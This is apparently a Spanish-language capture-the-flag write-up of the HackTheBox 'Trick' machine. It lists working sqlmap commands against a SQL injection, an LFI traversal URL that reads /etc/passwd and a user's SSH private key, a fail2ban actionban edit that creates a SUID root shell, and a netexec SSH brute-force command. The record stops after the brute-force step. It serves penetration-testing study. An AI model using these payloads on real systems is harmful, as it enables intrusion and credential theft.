Trick - HackTheBox
Máquina Linux nivel Easy de la plataforma HackTheBox que forma parte del path CPTS.

Reconocimiento de Puertos y Servicios
Comenzamos enumerando los puertos abiertos de la máquina Trick como siempre utilizando la herramienta nmap.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 05:44 -0700
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 25.00% done; ETC: 05:44 (0:00:18 remaining)
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 05:44 (0:00:09 remaining)
Stats: 0:01:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 05:46 (0:00:36 remaining)
Nmap scan report for 10.129.2.214
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tenemos el puerto 25 (smtp) abierto.
Puerto 53 (dns) que enumeraremos en busca de subdominios
Servidor web nginx 1.14.2 en el puerto 80.
Enumeracion DNS
En primer lugar utilizaremos dig para realizar una búsqueda inversa e intentar obtener un nombre de dominio del servidor DNS.
Anadimos el dominio trick.htb al archivo hosts y aprovechamos para buscar otros nombres de dominio asociados a trick.htb realizando un ataque de transferencia de zona, pero primero visitamos el dominio trick.htb para ver que nos encontramos.
A simple vista parece una página estática, y tras una serie de pruebas no encuentro nada de interés, por lo que continuamos adelante buscando otro punto de apoyo.
Añadimos el dominio preprod-payroll.trick.htb al archivo hosts y accedemos desde el navegador para ver que nos encontramos.
Inyección SQL
Leyendo el código fuente podemos encontrar un script escrito en lenguaje javascript.
<script>
$('#login-form').submit(function(e){
e.preventDefault()
$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
if($(this).find('.alert-danger').length > 0 )
$(this).find('.alert-danger').remove();
$.ajax({
url:'ajax.php?action=login',
method:'POST',
data:$(this).serialize(),
error:err=>{
console.log(err)
$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
},
success:function(resp){
if(resp == 1){
location.href ='index.php?page=home';
}else if(resp == 2){
location.href ='voting.php';
}else{
$('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>')
$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
}
}
})
})
</script>
Este script básicamente controla el envío de un formulario de login sin recargar la pagina (usando AJAX).
Buscando por el nombre del sitio web encuentro que es vulnerable a sql injection, por lo que lo intento explotar utilizando sqlmap.
En primer lugar quiero adivinar si es vulnerable y averiguar qué parametro es vulnerable, si el user o password.
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" --batch
Parece que el parametro vulnerable es password.
Tipo de inyección time-based blind
Base de datos MySQL
En el caso de las inyecciones time-based la extracción de datos es bastante lenta, por lo que podemos especificar que pruebe otras inyecciones para averiguar si tambien es vulnerable y asi acelerar el proceso de extracción de datos.
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p password --level 5 --risk 3 --technique=BEUS --batch
Especificamos el parametro password.
El nivel de exhaustividad de las pruebas (5).
--risk 3que utilizara payloads mas agresivos.Tecnicas utilizadas - BEUS
| Código | Técnica | Descripción |
|---|---|---|
| B | Boolean-based blind | Usa condiciones TRUE/FALSE para detectar la inyección. |
| E | Error-based | Aprovecha mensajes de error SQL del servidor. |
| U | UNION query-based | Usa UNION SELECT para extraer datos. |
| S | Stacked queries | Ejecuta múltiples queries (;). |
| T | Time-based blind | Usa delays (SLEEP, WAITFOR) para detectar la inyección. |
| Q | Inline queries | Usa subconsultas inline para obtener datos. |
Dado que no queremos ninguna consulta lenta, eliminaremos T y Q.
Podemos ver que es vulnerable a boolean-based blind y error-based que son mas rápidas que en el caso anterior.
Continuamos enumerando los permisos que disponemos en la base de datos utilizando el parametro --privileges.
sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p password --privileges
El permiso FILE es un privilegio especial que permite al usuario leer y escribir archivos en el sistema de archivos del servidor donde se ejecuta MySQL.
Tras buscar en la wiki de sqlmap encontramos un parametro que nos permite leer archivos internos.
https://github.com/sqlmapproject/sqlmap/wiki/usage
sqlmap -u http://preprod-payroll.trick.htb/ajax.php\?action\=login --data="username=abc&password=abc" -p password --file-read=/etc/passwd
Tras ejecutar el comando se nos guardara la salida en la ruta /home//.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
Vemos que existe el usuario michael que nos podría servir mas adelante o incluso podriamos intentar obtener una clave privada RSA buscando en su directorio de inicio.
Pero tras intentarlo sqlmap nos arroja el siguiente mensaje:
[17:38:22] [INFO] retrieved: ' '
[17:38:22] [ERROR] no data retrieved
Tras un largo rato probando a leer diferentes archivos se me ocurrio probar a leer el archivo default del servidor web para buscar otros vhosts ubicado en /etc/nginx/sites-enabled/default donde encontramos otro vhost.
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files \(uri \)uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
preprod-marketing.trick.htb
Lo añadimos al archivo hosts y accedemos desde el navegador.
Local File Inclusion
De nuevo estamos ante un sitio web aparentemente vacío sin importancia, pero hay unos botones debajo que si hacemos click nos indican en la url una posible vulnerabilidad LFI.
Por ejemplo si hacemos click en el boton home, la url es http://preprod-marketing.trick.htb/index.php?page=home.html por lo que podemos fuzzear rutas utilizando un diccionario concreto para averiguar si hay un LFI.
Utilizaré el diccionario LFI-Jhaddix.txt de Seclists.
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//etc/passwd
De nuevo podemos leer archivos internos, por lo que pruebo de nuevo a leer el archivo id_rsa de michael.
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/.ssh/id_rsa
Y obtenemos la clave privada rsa, por lo que podemos intentar conectarnos al servidor via ssh.
La guardamos en un archivo, le damos los permisos adecuados y nos conectamos por ssh.
Llegados a este punto ya podemos leer la flag de user, por lo que el siguiente paso es escalar privilegios.
Escalada de Privilegios
Si ejecutamos sudo -l veremos que podemos ejecutar como root sin conrtrasena el comando /etc/init.d/fail2ban restart.
Fail2ban es una herramienta que permite proteger al servidor contra ataques de fuerza bruta.
Tras una breve busqueda encontre este artículo que explica de forma sencilla y detallada como escalar privilegios.
https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-fail2ban-privilege-escalation
Identificar si disponemos de permisos sobre el directorio
/etc/fail2ban/action.dModificaremos el archivo
iptables-multiport.confubicado en/etc/fail2ban/action.dañadiendo el siguiente contenido en el apartadoactionban.
actionban = cp /bin/bash /tmp && chmod 4755 /tmp/bash
Copiamos el archivo modificado en la ruta
/etc/fail2ban/action.d.Iniciamos un ataque de fuerza bruta al servicio ssh y reiniciamos fail2ban.
# Ataque fuerza bruta con netexec
netexec ssh <ip> -u michael -p /usr/share/wordlists/rockyou.txt





